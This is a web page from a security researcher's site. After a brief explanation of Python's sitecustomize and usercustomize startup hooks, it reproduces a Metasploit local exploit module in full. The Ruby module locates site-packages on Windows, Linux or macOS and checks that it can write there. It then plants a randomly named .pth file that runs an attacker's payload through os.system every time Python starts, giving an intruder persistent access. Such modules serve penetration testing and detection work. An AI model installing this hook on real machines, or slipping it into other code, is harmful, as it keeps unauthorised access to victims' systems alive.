Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Python Site-Specific Hook Persistence
Python Site-Specific Hook Persistence
Python site-specific hook persistence allows custom code to run automatically Python site-specific hook persistence allows custom code to run automatically every time the interpreter starts, affecting all subsequent Python executions on that system or user profile.

This is primarily achieved via the `site` module, which imports `sitecustomize.py` and `usercustomize.py`.

* `sitecustomize.py` (found in `site-packages`) executes system-wide.
* `usercustomize.py` (in a user's `site-packages`) is user-specific.

These are standard Python scripts that run early in the startup process. They can modify `sys.path`, inject `sys.meta_path` finders, set `sys.displayhook` or `sys.excepthook`, or perform any other setup.

Essentially, they allow persistent, global modifications to Python's behavior without altering core Python files or requiring changes in every script. Use with caution, as misconfigurations can have widespread impact.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Python Site-Specific Hook Persistence',
'Description' => %q{
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7', # msf module
],
'Platform' => ['linux', 'windows', 'osx'],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
[ 'URL', 'https://docs.python.org/3/library/site.html'],
['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],
],
'DisclosureDate' => '2012-09-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),
OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])
])
end

def get_hooks_path
unless datastore['PYTHON_HOOK_PATH'].blank?
@hooks_path = datastore['PYTHON_HOOK_PATH']
return
end
case session.platform
when 'windows', 'win'

case datastore['EXECUTION_TARGET']
when 'USER'
@hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")
when 'SYSTEM'
@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
end
when 'osx', 'linux'

case datastore['EXECUTION_TARGET']
when 'USER'
@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
when 'SYSTEM'
@hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"
end
end
end

def get_python_version
case session.platform
when 'windows', 'win'
cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/
when 'osx', 'linux'
cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
end

@python_version = Regexp.last_match(1)
end

def check
get_python_version

return CheckCode::Safe('Python not present on the system') unless @python_version

CheckCode::Vulnerable('Python is present on the system')
end

def install_persistence
get_python_version unless @python_version
print_status("Detected Python version #{@python_version}")
get_hooks_path unless @hooks_path

mkdir(@hooks_path) if session.platform == 'osx' || session.platform == 'linux'

fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
# check if hooks path writable
begin
# windows only ps payloads have writable? so try that first
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)
rescue RuntimeError
filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
write_file(filename, '')
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)
rm_f(filename)
end

print_status("Got path to site-specific hooks #{@hooks_path}")

file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)

fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))

print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")
@clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"
end
end

Social Media Share